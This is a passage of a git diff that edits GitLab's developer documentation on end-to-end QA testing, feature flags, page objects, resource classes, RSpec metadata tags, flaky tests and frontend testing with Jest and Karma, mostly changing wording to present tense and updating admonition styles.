`MyPage` for `my_element` and `another_element` to be on the page before continuing to `execute_stuff` ### Clicking @@ -113,7 +113,7 @@ def open_layer end ``` -will invoke GitLab QA to ensure that `message_content` appears on +invokes GitLab QA to ensure that `message_content` appears on the Layer upon clicking `my_element`. -This will imply that the Layer is indeed rendered before we continue our test. +This implies that the Layer is indeed rendered before we continue our test. diff --git a/doc/development/testing_guide/end_to_end/environment_selection.md b/doc/development/testing_guide/end_to_end/environment_selection.md index f5e3e99b79e..7e34b6c265d 100644 --- a/doc/development/testing_guide/end_to_end/environment_selection.md +++ b/doc/development/testing_guide/end_to_end/environment_selection.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Environment selection @@ -19,7 +19,7 @@ We can specify what environments or pipelines to run tests against using the `on | `production` | Match against production | `Static` | | `pipeline` | Match against a pipeline | `Array` or `Static`| -CAUTION: **Caution:** +WARNING: You cannot specify `:production` and `{ <switch>: 'value' }` simultaneously. These options are mutually exclusive. If you want to specify production, you can control the `tld` and `domain` independently. @@ -35,7 +35,7 @@ can control the `tld` and `domain` independently. | `dev.gitlab.org` | `only: { tld: '.org', domain: 'gitlab', subdomain: 'dev' }` | `(dev).gitlab.org` | | `staging.gitlab.com & domain.gitlab.com` | `only: { subdomain: %i[staging domain] }` | `(staging|domain).+.com` | | `nightly` | `only: { pipeline: :nightly }` | "nightly" | -| `nightly`, `canary` | `only_run_in_pipeline: [:nightly, :canary]` | ["nightly"](https://gitlab.com/gitlab-org/quality/nightly) and ["canary"](https://gitlab.com/gitlab-org/quality/canary) | +| `nightly`, `canary` | `only: { pipeline: [:nightly, :canary] }` | ["nightly"](https://gitlab.com/gitlab-org/quality/nightly) and ["canary"](https://gitlab.com/gitlab-org/quality/canary) | ```ruby RSpec.describe 'Area' do @@ -65,4 +65,4 @@ If you want to run an `only: { :pipeline }` tagged test on your local GDK make s Similarly to specifying that a test should only run against a specific environment, it's also possible to quarantine a test only when it runs against a specific environment. The syntax is exactly the same, except that the `only: { ... }` hash is nested in the [`quarantine: { ... }`](https://about.gitlab.com/handbook/engineering/quality/guidelines/debugging-qa-test-failures/#quarantining-tests) hash. -For instance, `quarantine: { only: { subdomain: :staging } }` will only quarantine the test when run against staging. +For instance, `quarantine: { only: { subdomain: :staging } }` only quarantines the test when run against staging. diff --git a/doc/development/testing_guide/end_to_end/feature_flags.md b/doc/development/testing_guide/end_to_end/feature_flags.md index 2ff1c9f6dc3..1e0eda6491a 100644 --- a/doc/development/testing_guide/end_to_end/feature_flags.md +++ b/doc/development/testing_guide/end_to_end/feature_flags.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Testing with feature flags @@ -10,14 +10,14 @@ To run a specific test with a feature flag enabled you can use the `QA::Runtime: enable and disable feature flags ([via the API](../../../api/features.md)). Note that administrator authorization is required to change feature flags. `QA::Runtime::Feature` -will automatically authenticate as an administrator as long as you provide an appropriate access +automatically authenticates as an administrator as long as you provide an appropriate access token via `GITLAB_QA_ADMIN_ACCESS_TOKEN` (recommended), or provide `GITLAB_ADMIN_USERNAME` and `GITLAB_ADMIN_PASSWORD`. Please be sure to include the tag `:requires_admin` so that the test can be skipped in environments where admin access is not available. -CAUTION: **Caution:** +WARNING: You are strongly advised to [enable feature flags only for a group, project, user](../../feature_flags/development.md#feature-actors), or [feature group](../../feature_flags/development.md#feature-groups). This makes it possible to test a feature in a shared environment without affecting other users. @@ -60,7 +60,7 @@ feature_group = "a_feature_group" Runtime::Feature.enable(:feature_flag_name, feature_group: feature_group) ``` -If no scope is provided, the feature flag will be set instance-wide: +If no scope is provided, the feature flag is set instance-wide: ```ruby # This will affect all users! diff --git a/doc/development/testing_guide/end_to_end/flows.md b/doc/development/testing_guide/end_to_end/flows.md index 291d8bd5319..b99a1f9deb7 100644 --- a/doc/development/testing_guide/end_to_end/flows.md +++ b/doc/development/testing_guide/end_to_end/flows.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Flows in GitLab QA diff --git a/doc/development/testing_guide/end_to_end/index.md b/doc/development/testing_guide/end_to_end/index.md index 1d144359ed8..d981f9bcbba 100644 --- a/doc/development/testing_guide/end_to_end/index.md +++ b/doc/development/testing_guide/end_to_end/index.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # End-to-end Testing @@ -126,8 +126,8 @@ For example, when we [dequarantine](https://about.gitlab.com/handbook/engineerin a flaky test we first want to make sure that it's no longer flaky. We can do that using the `ce:custom-parallel` and `ee:custom-parallel` jobs. Both are manual jobs that you can configure using custom variables. -When you click the name (not the play icon) of one of the parallel jobs, -you'll be prompted to enter variables. You can use any of [the variables +When clicking the name (not the play icon) of one of the parallel jobs, +you are prompted to enter variables. You can use any of [the variables that can be used with `gitlab-qa`](https://gitlab.com/gitlab-org/gitlab-qa/blob/master/docs/what_tests_can_be_run.md#supported-gitlab-environment-variables) as well as these: @@ -137,7 +137,7 @@ as well as these: | `QA_TESTS` | The test(s) to run (no default, which means run all the tests in the scenario). Use file paths as you would when running tests via RSpec, e.g., `qa/specs/features/ee/browser_ui` would include all the `EE` UI tests. | | `QA_RSPEC_TAGS` | The RSpec tags to add (no default) | -For now [manual jobs with custom variables will not use the same variable +For now [manual jobs with custom variables don't use the same variable when retried](https://gitlab.com/gitlab-org/gitlab/-/issues/31367), so if you want to run the same test(s) multiple times, specify the same variables in each `custom-parallel` job (up to as many of the 10 available jobs that you want to run). diff --git a/doc/development/testing_guide/end_to_end/page_objects.md b/doc/development/testing_guide/end_to_end/page_objects.md index 7eacaf4b08a..939e44cedd9 100644 --- a/doc/development/testing_guide/end_to_end/page_objects.md +++ b/doc/development/testing_guide/end_to_end/page_objects.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Page objects in GitLab QA @@ -22,7 +22,7 @@ fields. ## Why do we need that? We need page objects because we need to reduce duplication and avoid problems -whenever someone changes some selectors in GitLab's source code. +whenever someone changes some selectors in the GitLab source code. Imagine that we have a hundred specs in GitLab QA, and we need to sign into GitLab each time, before we make assertions. Without a page object, one would @@ -30,13 +30,13 @@ need to rely on volatile helpers or invoke Capybara methods directly. Imagine invoking `fill_in :user_login` in every `*_spec.rb` file / test example. When someone later changes `t.text_field :login` in the view associated with -this page to `t.text_field :username` it will generate a different field +this page to `t.text_field :username` it generates a different field identifier, what would effectively break all tests. Because we are using `Page::Main::Login.perform(&:sign_in_using_credentials)` everywhere, when we want to sign in to GitLab, the page object is the single -source of truth, and we will need to update `fill_in :user_login` -to `fill_in :user_username` only in a one place. +source of truth, and we must update `fill_in :user_login` +to `fill_in :user_username` only in one place. ## What problems did we have in the past? @@ -44,7 +44,7 @@ We do not run QA tests for every commit, because of performance reasons, and the time it would take to build packages and test everything. That is why when someone changes `t.text_field :login` to -`t.text_field :username` in the _new session_ view we won't know about this +`t.text_field :username` in the _new session_ view we don't know about this change until our GitLab QA nightly pipeline fails, or until someone triggers `package-and-qa` action in their merge request. @@ -56,14 +56,14 @@ problem by introducing coupling between GitLab CE / EE views and GitLab QA. ## How did we solve fragile tests problem? -Currently, when you add a new `Page::Base` derived class, you will also need to +Currently, when you add a new `Page::Base` derived class, you must also define all selectors that your page objects depend on. Whenever you push your code to CE / EE repository, `qa:selectors` sanity test -job is going to be run as a part of a CI pipeline. +job runs as a part of a CI pipeline. -This test is going to validate all page objects that we have implemented in -`qa/page` directory. When it fails, you will be notified about missing +This test validates all page objects that we have implemented in +`qa/page` directory. When it fails, it notifies you about missing or invalid views/selectors definition. ## How to properly implement a page object? @@ -95,10 +95,10 @@ end ### Defining Elements -The `view` DSL method will correspond to the Rails view, partial, or Vue component that renders the elements. +The `view` DSL method corresponds to the Rails view, partial, or Vue component that renders the elements. The `element` DSL method in turn declares an element for which a corresponding -`data-qa-selector=element_name_snaked` data attribute will need to be added to the view file. +`data-qa-selector=element_name_snaked` data attribute must be added to the view file. You can also define a value (String or Regexp) to match to the actual view code but **this is deprecated** in favor of the above method for two reasons: @@ -257,7 +257,7 @@ These modules must: 1. Include/prepend other modules and define their `view`/`elements` in a `base.class_eval` block to ensure they're defined in the class that prepends the module. -These steps ensure the sanity selectors check will detect problems properly. +These steps ensure the sanity selectors check detect problems properly. For example, `qa/qa/ee/page/merge_request/show.rb` adds EE-specific methods to `qa/qa/page/merge_request/show.rb` (with `QA::Page::MergeRequest::Show.prepend_if_ee('QA::EE::Page::MergeRequest::Show')`) and following is how it's implemented diff --git a/doc/development/testing_guide/end_to_end/resources.md b/doc/development/testing_guide/end_to_end/resources.md index d73bae331d5..b6aef123c64 100644 --- a/doc/development/testing_guide/end_to_end/resources.md +++ b/doc/development/testing_guide/end_to_end/resources.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Resource class in GitLab QA @@ -94,7 +94,7 @@ needs a group to be created in. To define a resource attribute, you can use the `attribute` method with a block using the other resource class to fabricate the resource. -That will allow access to the other resource from your resource object's +That allows access to the other resource from your resource object's methods. You would usually use it in `#fabricate!`, `#api_get_path`, `#api_post_path`, `#api_post_body`. @@ -144,7 +144,7 @@ end ``` **Note that all the attributes are lazily constructed. This means if you want -a specific attribute to be fabricated first, you'll need to call the +a specific attribute to be fabricated first, you must call the attribute method first even if you're not using it.** #### Product data attributes @@ -185,7 +185,7 @@ end ``` **Note again that all the attributes are lazily constructed. This means if -you call `shirt.brand` after moving to the other page, it'll not properly +you call `shirt.brand` after moving to the other page, it doesn't properly retrieve the data because we're no longer on the expected page.** Consider this: @@ -201,7 +201,7 @@ shirt.project.visit! shirt.brand # => FAIL! ``` -The above example will fail because now we're on the project page, trying to +The above example fails because now we're on the project page, trying to construct the brand data from the shirt page, however we moved to the project page already. There are two ways to solve this, one is that we could try to retrieve the brand before visiting the project again: @@ -219,8 +219,8 @@ shirt.project.visit! shirt.brand # => OK! ``` -The attribute will be stored in the instance therefore all the following calls -will be fine, using the data previously constructed. If we think that this +The attribute is stored in the instance, therefore all the following calls +are fine, using the data previously constructed. If we think that this might be too brittle, we could eagerly construct the data right before ending fabrication: @@ -249,12 +249,12 @@ module QA end ``` -The `populate` method will iterate through its arguments and call each +The `populate` method iterates through its arguments and call each attribute respectively. Here `populate(:brand)` has the same effect as just `brand`. Using the populate method makes the intention clearer. -With this, it will make sure we construct the data right after we create the -shirt. The drawback is that this will always construct the data when the +With this, it ensures we construct the data right after we create the +shirt. The drawback is that this always constructs the data when the resource is fabricated even if we don't need to use the data. Alternatively, we could just make sure we're on the right page before @@ -290,7 +290,7 @@ module QA end ``` -This will make sure it's on the shirt page before constructing brand, and +This ensures it's on the shirt page before constructing brand, and move back to the previous page to avoid breaking the state. #### Define an attribute based on an API response @@ -343,16 +343,16 @@ end - resource instance variables have the highest precedence - attributes from the API response take precedence over attributes from the block (usually from Browser UI) -- attributes without a value will raise a `QA::Resource::Base::NoValueError` error +- attributes without a value raises a `QA::Resource::Base::NoValueError` error ## Creating resources in your tests To create a resource in your tests, you can call the `.fabricate!` method on the resource class. -Note that if the resource class supports API fabrication, this will use this +Note that if the resource class supports API fabrication, this uses this fabrication by default. -Here is an example that will use the API fabrication method under the hood +Here is an example that uses the API fabrication method under the hood since it's supported by the `Shirt` resource class: ```ruby @@ -389,8 +389,7 @@ my_shirt = Resource::Shirt.fabricate_via_api! do |shirt| end ``` -In this case, the result will be similar to calling -`Resource::Shirt.fabricate!`. +In this case, the result is similar to calling `Resource::Shirt.fabricate!`. ## Where to ask for help? diff --git a/doc/development/testing_guide/end_to_end/rspec_metadata_tests.md b/doc/development/testing_guide/end_to_end/rspec_metadata_tests.md index 8e99cf18ea0..6d6f7fbcf8d 100644 --- a/doc/development/testing_guide/end_to_end/rspec_metadata_tests.md +++ b/doc/development/testing_guide/end_to_end/rspec_metadata_tests.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # RSpec metadata for end-to-end tests @@ -14,16 +14,16 @@ This is a partial list of the [RSpec metadata](https://relishapp.com/rspec/rspec | Tag | Description | |-----|-------------| | `:elasticsearch` | The test requires an Elasticsearch service. It is used by the [instance-level scenario](https://gitlab.com/gitlab-org/gitlab-qa#definitions) [`Test::Integration::Elasticsearch`](https://gitlab.com/gitlab-org/gitlab/-/blob/72b62b51bdf513e2936301cb6c7c91ec27c35b4d/qa/qa/ee/scenario/test/integration/elasticsearch.rb) to include only tests that require Elasticsearch. | -| `:gitaly_cluster` | The test will run against a GitLab instance where repositories are stored on redundant Gitaly nodes behind a Praefect node. All nodes are [separate containers](../../../administration/gitaly/praefect.md#requirements-for-configuring-a-gitaly-cluster). Tests that use this tag have a longer setup time since there are three additional containers that need to be started. | -| `:jira` | The test requires a Jira Server. [GitLab-QA](https://gitlab.com/gitlab-org/gitlab-qa) will provision the Jira Server in a Docker container when the `Test::Integration::Jira` test scenario is run. -| `:kubernetes` | The test includes a GitLab instance that is configured to be run behind an SSH tunnel, allowing a TLS-accessible GitLab. This test will also include provisioning of at least one Kubernetes cluster to test against. _This tag is often be paired with `:orchestrated`._ | +| `:gitaly_cluster` | The test runs against a GitLab instance where repositories are stored on redundant Gitaly nodes behind a Praefect node. All nodes are [separate containers](../../../administration/gitaly/praefect.md#requirements-for-configuring-a-gitaly-cluster). Tests that use this tag have a longer setup time since there are three additional containers that need to be started. | +| `:jira` | The test requires a Jira Server. [GitLab-QA](https://gitlab.com/gitlab-org/gitlab-qa) provisions the Jira Server in a Docker container when the `Test::Integration::Jira` test scenario is run. +| `:kubernetes` | The test includes a GitLab instance that is configured to be run behind an SSH tunnel, allowing a TLS-accessible GitLab. This test also includes provisioning of at least one Kubernetes cluster to test against. _This tag is often be paired with `:orchestrated`._ | | `:only` | The test is only to be run against specific environments or pipelines. See [Environment selection](environment_selection.md) for more information. | -| `:orchestrated` | The GitLab instance under test may be [configured by `gitlab-qa`](https://gitlab.com/gitlab-org/gitlab-qa/-/blob/master/docs/what_tests_can_be_run.md#orchestrated-tests) to be different to the default GitLab configuration, or `gitlab-qa` may launch additional services in separate Docker containers, or both. Tests tagged with `:orchestrated` are excluded when testing environments where we can't dynamically modify GitLab's configuration (for example, Staging). | -| `:quarantine` | The test has been [quarantined](https://about.gitlab.com/handbook/engineering/quality/guidelines/debugging-qa-test-failures/#quarantining-tests), will run in a separate job that only includes quarantined tests, and is allowed to fail. The test will be skipped in its regular job so that if it fails it will not hold up the pipeline. Note that you can also [quarantine a test only when it runs against specific environment](environment_selection.md#quarantining-a-test-for-a-specific-environment). | +| `:orchestrated` | The GitLab instance under test may be [configured by `gitlab-qa`](https://gitlab.com/gitlab-org/gitlab-qa/-/blob/master/docs/what_tests_can_be_run.md#orchestrated-tests) to be different to the default GitLab configuration, or `gitlab-qa` may launch additional services in separate Docker containers, or both. Tests tagged with `:orchestrated` are excluded when testing environments where we can't dynamically modify the GitLab configuration (for example, Staging). | +| `:quarantine` | The test has been [quarantined](https://about.gitlab.com/handbook/engineering/quality/guidelines/debugging-qa-test-failures/#quarantining-tests), runs in a separate job that only includes quarantined tests, and is allowed to fail. The test is skipped in its regular job so that if it fails it doesn't hold up the pipeline. Note that you can also [quarantine a test only when it runs against specific environment](environment_selection.md#quarantining-a-test-for-a-specific-environment). | | `:reliable` | The test has been [promoted to a reliable test](https://about.gitlab.com/handbook/engineering/quality/guidelines/reliable-tests/#promoting-an-existing-test-to-reliable) meaning it passes consistently in all pipelines, including merge requests. | | `:requires_admin` | The test requires an admin account. Tests with the tag are excluded when run against Canary and Production environments. | -| `:runner` | The test depends on and will set up a GitLab Runner instance, typically to run a pipeline. | -| `:skip_live_env` | The test will be excluded when run against live deployed environments such as Staging, Canary, and Production. | +| `:runner` | The test depends on and sets up a GitLab Runner instance, typically to run a pipeline. | +| `:skip_live_env` | The test is excluded when run against live deployed environments such as Staging, Canary, and Production. | | `:testcase` | The link to the test case issue in the [Quality Testcases project](https://gitlab.com/gitlab-org/quality/testcases/). | | `:mattermost` | The test requires a GitLab Mattermost service on the GitLab instance. | | `:ldap_no_server` | The test requires a GitLab instance to be configured to use LDAP. To be used with the `:orchestrated` tag. It does not spin up an LDAP server at orchestration time. Instead, it creates the LDAP server at runtime. | @@ -33,7 +33,7 @@ This is a partial list of the [RSpec metadata](https://relishapp.com/rspec/rspec | `:smtp` | The test requires a GitLab instance to be configured to use an SMTP server. Tests SMTP notification email delivery from GitLab by using MailHog. | | `:group_saml` | The test requires a GitLab instance that has SAML SSO enabled at the group level. Interacts with an external SAML identity provider. Paired with the `:orchestrated` tag. | | `:instance_saml` | The test requires a GitLab instance that has SAML SSO enabled at the instance level. Interacts with an external SAML identity provider. Paired with the `:orchestrated` tag. | -| `:skip_signup_disabled` | The test uses UI to sign up a new user and will be skipped in any environment that does not allow new user registration via the UI. | +| `:skip_signup_disabled` | The test uses UI to sign up a new user and is skipped in any environment that does not allow new user registration via the UI. | | `:smoke` | The test belongs to the test suite which verifies basic functionality of a GitLab instance.| | `:github` | The test requires a GitHub personal access token. | | `:repository_storage` | The test requires a GitLab instance to be configured to use multiple [repository storage paths](../../../administration/repository_storage_paths.md). Paired with the `:orchestrated` tag. | diff --git a/doc/development/testing_guide/end_to_end/running_tests_that_require_special_setup.md b/doc/development/testing_guide/end_to_end/running_tests_that_require_special_setup.md index df4b833526c..8a49c333f9f 100644 --- a/doc/development/testing_guide/end_to_end/running_tests_that_require_special_setup.md +++ b/doc/development/testing_guide/end_to_end/running_tests_that_require_special_setup.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Running tests that require special setup @@ -10,7 +10,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w The [`jenkins_build_status_spec`](https://gitlab.com/gitlab-org/gitlab/blob/163c8a8c814db26d11e104d1cb2dcf02eb567dbe/qa/qa/specs/features/ee/browser_ui/3_create/jenkins/jenkins_build_status_spec.rb) spins up a Jenkins instance in a Docker container based on an image stored in the [GitLab-QA container registry](https://gitlab.com/gitlab-org/gitlab-qa/container_registry). The Docker image it uses is preconfigured with some base data and plugins. -The test then configures the GitLab plugin in Jenkins with a URL of the GitLab instance that will be used +The test then configures the GitLab plugin in Jenkins with a URL of the GitLab instance that are used to run the tests. Unfortunately, the GitLab Jenkins plugin does not accept ports so `http://localhost:3000` would not be accepted. Therefore, this requires us to run GitLab on port 80 or inside a Docker container. @@ -30,7 +30,7 @@ To run the tests from the `/qa` directory: CHROME_HEADLESS=false bin/qa Test::Instance::All http://localhost -- qa/specs/features/ee/browser_ui/3_create/jenkins/jenkins_build_status_spec.rb ``` -The test will automatically spin up a Docker container for Jenkins and tear down once the test completes. +The test automatically spins up a Docker container for Jenkins and tear down once the test completes. However, if you need to run Jenkins manually outside of the tests, use this command: @@ -43,7 +43,7 @@ docker run \ registry.gitlab.com/gitlab-org/gitlab-qa/jenkins-gitlab:version1 ``` -Jenkins will be available on `http://localhost:8080`. +Jenkins is available on `http://localhost:8080`. Admin username is `admin` and password is `password`. @@ -59,19 +59,19 @@ the Docker Engine. The tests tagged `:gitaly_ha` are orchestrated tests that can only be run against a set of Docker containers as configured and started by [the `Test::Integration::GitalyCluster` GitLab QA scenario](https://gitlab.com/gitlab-org/gitlab-qa/-/blob/master/docs/what_tests_can_be_run.md#testintegrationgitalycluster-ceeefull-image-address). -As described in the documentation about the scenario noted above, the following command will run the tests: +As described in the documentation about the scenario noted above, the following command runs the tests: ```shell gitlab-qa Test::Integration::GitalyCluster EE ``` -However, that will remove the containers after it finishes running the tests. If you would like to do further testing, for example, if you would like to run a single test via a debugger, you can use [the `--no-tests` option](https://gitlab.com/gitlab-org/gitlab-qa#command-line-options) to make `gitlab-qa` skip running the tests, and to leave the containers running so that you can continue to use them. +However, that removes the containers after it finishes running the tests. If you would like to do further testing, for example, if you would like to run a single test via a debugger, you can use [the `--no-tests` option](https://gitlab.com/gitlab-org/gitlab-qa#command-line-options) to make `gitlab-qa` skip running the tests, and to leave the containers running so that you can continue to use them. ```shell gitlab-qa Test::Integration::GitalyCluster EE --no-tests ``` -When all the containers are running you will see the output of the `docker ps` command, showing on which ports the GitLab container can be accessed. For example: +When all the containers are running, the output of the `docker ps` command shows which ports the GitLab container can be accessed on. For example: ```plaintext CONTAINER ID ... PORTS NAMES @@ -82,7 +82,7 @@ That shows that the GitLab instance running in the `gitlab-gitaly-ha` container Another option is to use NGINX. -In both cases you will need to configure your machine to translate `gitlab-gitlab-ha.test` into an appropriate IP address: +In both cases you must configure your machine to translate `gitlab-gitlab-ha.test` into an appropriate IP address: ```shell echo '127.0.0.1 gitlab-gitaly-ha.test' | sudo tee -a /etc/hosts @@ -205,7 +205,7 @@ You can now search through the logs for *Job log*, which matches delimited secti A Job log is a subsection within these logs, related to app deployment. We use two jobs: `build` and `production`. You can find the root causes of deployment failures in these logs, which can compromise the entire test. -If a `build` job fails, the `production` job won't run, and the test fails. +If a `build` job fails, the `production` job doesn't run, and the test fails. The long test setup does not take screenshots of failures, which is a known [issue](https://gitlab.com/gitlab-org/quality/team-tasks/-/issues/270). However, if the spec fails (after a successful deployment) then you should be able to find screenshots which display the feature failure. @@ -286,7 +286,7 @@ CHROME_HEADLESS=false bundle exec bin/qa QA::EE::Scenario::Test::Geo --primary-a You can use [GitLab-QA Orchestrator](https://gitlab.com/gitlab-org/gitlab-qa) to orchestrate two GitLab containers and configure them as a Geo setup. -Geo requires an EE license. To visit the Geo sites in your browser, you will need a reverse proxy server (for example, [NGINX](https://www.nginx.com/)). +Geo requires an EE license. To visit the Geo sites in your browser, you need a reverse proxy server (for example, [NGINX](https://www.nginx.com/)). 1. Export your EE license @@ -296,7 +296,7 @@ Geo requires an EE license. To visit the Geo sites in your browser, you will nee 1. (Optional) Pull the GitLab image - This step is optional because pulling the Docker image is part of the [`Test::Integration::Geo` orchestrated scenario](https://gitlab.com/gitlab-org/gitlab-qa/-/blob/d8c5c40607c2be0eda58bbca1b9f534b00889a0b/lib/gitlab/qa/scenario/test/integration/geo.rb). However, it's easier to monitor the download progress if you pull the image first, and the scenario will skip this step after checking that the image is up to date. + This step is optional because pulling the Docker image is part of the [`Test::Integration::Geo` orchestrated scenario](https://gitlab.com/gitlab-org/gitlab-qa/-/blob/d8c5c40607c2be0eda58bbca1b9f534b00889a0b/lib/gitlab/qa/scenario/test/integration/geo.rb). However, it's easier to monitor the download progress if you pull the image first, and the scenario skips this step after checking that the image is up to date. ```shell # For the most recent nightly image @@ -309,7 +309,7 @@ Geo requires an EE license. To visit the Geo sites in your browser, you will nee docker pull registry.gitlab.com/gitlab-org/build/omnibus-gitlab-mirror/gitlab-ee:examplesha123456789 ``` -1. Run the [`Test::Integration::Geo` orchestrated scenario](https://gitlab.com/gitlab-org/gitlab-qa/-/blob/d8c5c40607c2be0eda58bbca1b9f534b00889a0b/lib/gitlab/qa/scenario/test/integration/geo.rb) with the `--no-teardown` option to build the GitLab containers, configure the Geo setup, and run Geo end-to-end tests. Running the tests after the Geo setup is complete is optional; the containers will keep running after you stop the tests. +1. Run the [`Test::Integration::Geo` orchestrated scenario](https://gitlab.com/gitlab-org/gitlab-qa/-/blob/d8c5c40607c2be0eda58bbca1b9f534b00889a0b/lib/gitlab/qa/scenario/test/integration/geo.rb) with the `--no-teardown` option to build the GitLab containers, configure the Geo setup, and run Geo end-to-end tests. Running the tests after the Geo setup is complete is optional; the containers keep running after you stop the tests. ```shell # Using the most recent nightly image diff --git a/doc/development/testing_guide/end_to_end/style_guide.md b/doc/development/testing_guide/end_to_end/style_guide.md index e6c96bca93e..ac4d26df794 100644 --- a/doc/development/testing_guide/end_to_end/style_guide.md +++ b/doc/development/testing_guide/end_to_end/style_guide.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Style guide for writing end-to-end tests @@ -74,7 +74,8 @@ We follow a simple formula roughly based on Hungarian notation. - `_tab` - `_menu_item` -*Note: If none of the listed types are suitable, please open a merge request to add an appropriate type to the list.* +NOTE: +If none of the listed types are suitable, please open a merge request to add an appropriate type to the list. ### Examples diff --git a/doc/development/testing_guide/flaky_tests.md b/doc/development/testing_guide/flaky_tests.md index 47ed11d76a2..126d8725c21 100644 --- a/doc/development/testing_guide/flaky_tests.md +++ b/doc/development/testing_guide/flaky_tests.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Flaky tests @@ -26,14 +26,14 @@ it 'should succeed', quarantine: 'https://gitlab.com/gitlab-org/gitlab/-/issues/ end ``` -This means it will be skipped unless run with `--tag quarantine`: +This means it is skipped unless run with `--tag quarantine`: ```shell bin/rspec --tag quarantine ``` **Before putting a test in quarantine, you should make sure that a -~"master:broken" issue exists for it so it won't stay in quarantine forever.** +~"master:broken" issue exists for it so it doesn't stay in quarantine forever.** Once a test is in quarantine, there are 3 choices: diff --git a/doc/development/testing_guide/frontend_testing.md b/doc/development/testing_guide/frontend_testing.md index 28fe63f1fb4..d83d58d14dd 100644 --- a/doc/development/testing_guide/frontend_testing.md +++ b/doc/development/testing_guide/frontend_testing.md @@ -1,12 +1,12 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Frontend testing standards and style guidelines -There are two types of test suites you'll encounter while developing frontend code +There are two types of test suites encountered while developing frontend code at GitLab. We use Karma with Jasmine and Jest for JavaScript unit and integration testing, and RSpec feature tests with Capybara for e2e (end-to-end) integration testing. @@ -25,17 +25,19 @@ If you are looking for a guide on Vue component testing, you can jump right away ## Jest -We have started to migrate frontend tests to the [Jest](https://jestjs.io) testing framework (see also the corresponding -[epic](https://gitlab.com/groups/gitlab-org/-/epics/895)). - +We use Jest to write frontend unit and integration tests. Jest tests can be found in `/spec/frontend` and `/ee/spec/frontend` in EE. -Most examples have a Jest and Karma example. See the Karma examples only as explanation to what's going on in the code, should you stumble over some use cases during your discovery. The Jest examples are the one you should follow. - ## Karma test suite -While GitLab is switching over to [Jest](https://jestjs.io) you'll still find Karma tests in our application. [Karma](http://karma-runner.github.io/) is a test runner which uses [Jasmine](https://jasmine.github.io/) as its test -framework. Jest also uses Jasmine as foundation, that's why it's looking quite similar. +While GitLab has switched over to [Jest](https://jestjs.io), Karma tests still exist in our +application because some of our specs require a browser and can't be easiliy migrated to Jest. +Those specs intend to eventually drop Karma in favor of either Jest or RSpec. You can track this migration +in the [related epic](https://gitlab.com/groups/gitlab-org/-/epics/4900). + +[Karma](http://karma-runner.github.io/) is a test runner which uses +[Jasmine](https://jasmine.github.io/) as its test framework. Jest also uses Jasmine as foundation, +that's why it's looking quite similar. Karma tests live in `spec/javascripts/` and `/ee/spec/javascripts` in EE. @@ -43,23 +45,10 @@ Karma tests live in `spec/javascripts/` and `/ee/spec/javascripts` in EE. might have a corresponding `spec/javascripts/behaviors/autosize_spec.js` file. Keep in mind that in a CI environment, these tests are run in a headless -browser and you will not have access to certain APIs, such as +browser and you don't have access to certain APIs, such as [`Notification`](https://developer.mozilla.org/en-US/docs/Web/API/notification), which have to be stubbed. -### When should I use Jest over Karma? - -If you need to update an existing Karma test file (found in `spec/javascripts`), you do not -need to migrate the whole spec to Jest. Simply updating the Karma spec to test your change -is fine. It is probably more appropriate to migrate to Jest in a separate merge request. - -If you create a new test file, it needs to be created in Jest. This will -help 